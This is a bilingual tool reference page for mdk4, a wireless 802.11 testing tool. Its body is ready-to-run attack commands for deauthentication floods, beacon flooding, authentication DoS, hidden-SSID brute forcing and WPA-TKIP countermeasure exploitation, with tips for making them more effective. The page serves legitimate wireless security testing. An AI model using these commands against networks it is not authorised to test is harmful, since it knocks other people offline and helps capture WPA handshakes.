retour aux outils back to tools Ducklings

mdk4

Outil de stress-testing du protocole sans fil 802.11. Implémente des floodings de déauthentification, du beacon flooding, de l'usurpation de SSID et diverses attaques DoS IEEE 802.11 contre les APs et clients. Wireless 802.11 protocol stress testing tool. Implements deauthentication floods, beacon flooding, SSID impersonation, and various IEEE 802.11 DoS attacks against APs and clients.

↗ https://github.com/aircrack-ng/mdk4

Overview

mdk4 (successor to mdk3) is a wireless testing tool that implements multiple IEEE 802.11 attack modes: deauthentication flooding, beacon flooding, authentication DoS, SSID enumeration, and more. Used for testing wireless infrastructure resilience.

Basic Usage

Put interface in monitor mode first

airmon-ng start wlan0

Deauthentication attack (kick all clients from an AP)

mdk4 wlan0mon d -B AA:BB:CC:DD:EE:FF

Beacon flooding (spam SSIDs)

mdk4 wlan0mon b

Authentication DoS (overwhelm AP with auth requests)

mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF

Attack Modes

mdk4 wlan0mon b                          # Random SSIDs
mdk4 wlan0mon b -f ssids.txt             # SSIDs from file
mdk4 wlan0mon b -c 6                     # On channel 6
mdk4 wlan0mon b -s 1000                  # 1000 packets/sec
mdk4 wlan0mon d -B AA:BB:CC:DD:EE:FF    # Deauth all clients from AP
mdk4 wlan0mon d -S SSID                  # Deauth from SSID
mdk4 wlan0mon d -c 6                     # On channel 6
mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF    # Target specific AP
mdk4 wlan0mon a -m                       # Use valid client MAC
mdk4 wlan0mon p -t AA:BB:CC:DD:EE:FF    # Target AP
mdk4 wlan0mon p -f ssids.txt             # Wordlist for hidden SSID

Mode m — Michael Countermeasures Exploitation (WPA-TKIP)

mdk4 wlan0mon m -t AA:BB:CC:DD:EE:FF

Channel Hopping

Attack across all channels

mdk4 wlan0mon d

Stick to specific channel

mdk4 wlan0mon d -B AP_BSSID -c 11

Whitelist / Blacklist

Deauth everyone except whitelisted MACs

mdk4 wlan0mon d -w whitelist.txt

Blacklist (only target these MACs)

mdk4 wlan0mon d -b blacklist.txt

Tips

  • Monitor mode required: airmon-ng start wlan0 before using mdk4
  • Deauth floods (mode d) are commonly used to force WPA handshake captures
  • Beacon flooding (mode b) creates confusion for wireless clients and IDS
  • Authentication DoS (mode a) can crash or freeze vulnerable APs
  • Use -c to stay on target channel — hopping reduces effectiveness
  • mdk4 replaces mdk3 with better WPA3 and modern hardware support
Help / Man page 
mdk4 <interface> <attack mode> [options]

Attack modes:
  b  Beacon Flooding
  a  Authentication DoS
  d  Deauthentication/Disassociation
  p  SSID Probing and Bruteforce
  m  Michael Countermeasures Exploitation
  e  EAPOL Start/Logoff Packet Injection
  s  Attacks for IEEE 802.11s mesh networks
  w  WIDS/WIPS Confusion
  f  Packet Fuzzer

Common options:
  -B BSSID    Target AP BSSID
  -S SSID     Target by SSID
  -c CHAN     Channel
  -s RATE     Packets per second
  -w FILE     Whitelist file
  -b FILE     Blacklist file

Vue d’ensemble

mdk4 (successeur de mdk3) est un outil de test sans fil qui implémente plusieurs modes d’attaque IEEE 802.11 : flooding de déauthentification, beacon flooding, DoS d’authentification, énumération de SSID, et plus encore. Utilisé pour tester la résilience de l’infrastructure sans fil.

Utilisation de base

# Mettre d'abord l'interface en mode monitor
airmon-ng start wlan0

# Attaque de déauthentification (éjecte tous les clients d'un AP)
mdk4 wlan0mon d -B AA:BB:CC:DD:EE:FF

# Beacon flooding (spam de SSID)
mdk4 wlan0mon b

# DoS d'authentification (submerge l'AP de requêtes d'authentification)
mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF

Modes d’attaque

mdk4 wlan0mon b                          # SSID aléatoires
mdk4 wlan0mon b -f ssids.txt             # SSID depuis un fichier
mdk4 wlan0mon b -c 6                     # Sur le canal 6
mdk4 wlan0mon b -s 1000                  # 1000 paquets/sec
mdk4 wlan0mon d -B AA:BB:CC:DD:EE:FF    # Déauth tous les clients d'un AP
mdk4 wlan0mon d -S SSID                  # Déauth depuis un SSID
mdk4 wlan0mon d -c 6                     # Sur le canal 6
mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF    # Cibler un AP spécifique
mdk4 wlan0mon a -m                       # Utiliser une MAC client valide
mdk4 wlan0mon p -t AA:BB:CC:DD:EE:FF    # Cibler un AP
mdk4 wlan0mon p -f ssids.txt             # Wordlist pour SSID caché

# Mode m : exploitation Michael Countermeasures (WPA-TKIP)
mdk4 wlan0mon m -t AA:BB:CC:DD:EE:FF

Saut de canal

# Attaque sur tous les canaux
mdk4 wlan0mon d

# Rester sur un canal spécifique
mdk4 wlan0mon d -B AP_BSSID -c 11

Liste blanche / liste noire

# Déauth tout le monde sauf les MAC en liste blanche
mdk4 wlan0mon d -w whitelist.txt

# Liste noire (ne cibler que ces MAC)
mdk4 wlan0mon d -b blacklist.txt

Conseils

  • Mode monitor requis : airmon-ng start wlan0 avant d’utiliser mdk4
  • Les floodings de déauth (mode d) sont couramment utilisés pour forcer la capture d’un handshake WPA
  • Le beacon flooding (mode b) crée de la confusion pour les clients sans fil et les IDS
  • Le DoS d’authentification (mode a) peut faire planter ou geler des APs vulnérables
  • Utiliser -c pour rester sur le canal cible : le saut de canal réduit l’efficacité
  • mdk4 remplace mdk3 avec un meilleur support WPA3 et du matériel moderne
Aide / Page de manuel 
mdk4 <interface> <attack mode> [options]

Attack modes:
  b  Beacon Flooding
  a  Authentication DoS
  d  Deauthentication/Disassociation
  p  SSID Probing and Bruteforce
  m  Michael Countermeasures Exploitation
  e  EAPOL Start/Logoff Packet Injection
  s  Attacks for IEEE 802.11s mesh networks
  w  WIDS/WIPS Confusion
  f  Packet Fuzzer

Common options:
  -B BSSID    Target AP BSSID
  -S SSID     Target by SSID
  -c CHAN     Channel
  -s RATE     Packets per second
  -w FILE     Whitelist file
  -b FILE     Blacklist file